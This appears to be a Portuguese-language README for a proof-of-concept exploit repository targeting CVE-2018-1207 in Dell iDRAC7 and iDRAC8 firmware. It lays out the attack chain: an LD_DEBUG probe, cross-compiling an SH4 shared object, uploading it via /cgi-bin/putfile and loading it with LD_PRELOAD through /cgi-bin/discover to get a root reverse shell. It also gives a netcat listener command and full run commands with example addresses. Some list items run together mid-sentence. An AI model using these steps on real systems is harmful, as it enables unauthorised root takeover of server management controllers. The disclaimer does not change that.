
Reverse Shell CVE para iDRAC 7 & 8 com firmware 2.52.52.52 e anteriores.
Este repositório contém um script Python de Prova de Conceito para demonstrar um exploit de execução remota de código presente em dispositivos iDRAC7 e iDRAC8 com versões de firmware 2.52.52.52 e inferiores. Este exploit permite que ataques executem código como usuário root, o que pode levar a uma tomada total do sistema. No código, mostramos isso executando um ataque de reverse shell usando o exploit. O código neste repositório é uma versão editada do exploit original de Michael Gargiullo (mgargiullo).
Aviso Legal - Este código é fornecido apenas para fins educacionais. Você não pode usar este script para atacar dispositivos que não possui ou para os quais não tenha consentimento explícito por escrito. Usar este script em sistemas sem autorização adequada é ilegal. Não me responsabilizo por qualquer uso indevido ou dano causado por esta ferramenta. O uso não autorizado pode levar a graves consequências legais, incluindo multas e prisão.
?LD_DEBUG=files. Se a resposta incluir conteúdo de depuração mostrando quais arquivos de biblioteca ele está tentando carregar, então sabemos que é vulnerável.sh4-linux-gnu-gcc. Como o iDRAC roda em uma arquitetura de processador SuperH (SH4), precisamos compilar o código em um objeto compartilhado (.so) para que possa ser executado pelo iDRAC.POST para /cgi-bin/putfile onde ele salva o arquivo em /tmp/sshpkauthupload.tmp.GET para /cgi-bin/discover com o parâmetro ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Isso força o iDRAC a carregar uma biblioteca especificada antes de qualquer outra biblioteca, que então carrega o arquivo .so modificado do diretório /tmp/.constructor, o código é executado instantaneamente ao ser carregado, resultando em um reverse shell como usuário root (o usuário com as maiores permissões em um sistema baseado em Linux).Antes de executar o script, certifique-se de ter o seguinte:
Python3
o módulo requests do Python3 (pode ser instalado via pip install requests)
Compilador Cruzado C SH4 (pode ser instalado via sudo apt install gcc-sh4-linux-gnu)
Sem esses requisitos, você enfrentará problemas e o exploit não será capaz de ser executado completamente! Não há verificações implementadas para garantir que você atenda a esses requisitos.
Inicie um listener em sua máquina para capturar o reverse shell, use o netcat para isso.
nc -lvnp <LPORT>
Substitua <LPORT> pela porta que deseja escutar (ex.: 5000).
Execute o script com os argumentos necessários.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: O endereço IP do iDRAC alvo.--rport: A porta da interface web do iDRAC (geralmente 443).--lhost: Seu endereço IP local para o reverse shell se conectar de volta.--lport: Sua porta local onde o listener Netcat está rodando.--keep-payload: (Opcional) Se definido, o script não deletará payload.c e payload.so da sua máquina após a execução.Máquina do Atacante (IP: 192.168.1.100) - Inicie o listener.
nc -lvnp 5000
Máquina do atacante - Execute o exploit mirando um iDRAC em 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
Se bem-sucedido, você receberá uma sessão de shell em seu terminal Netcat, onde poderá executar comandos como racadm.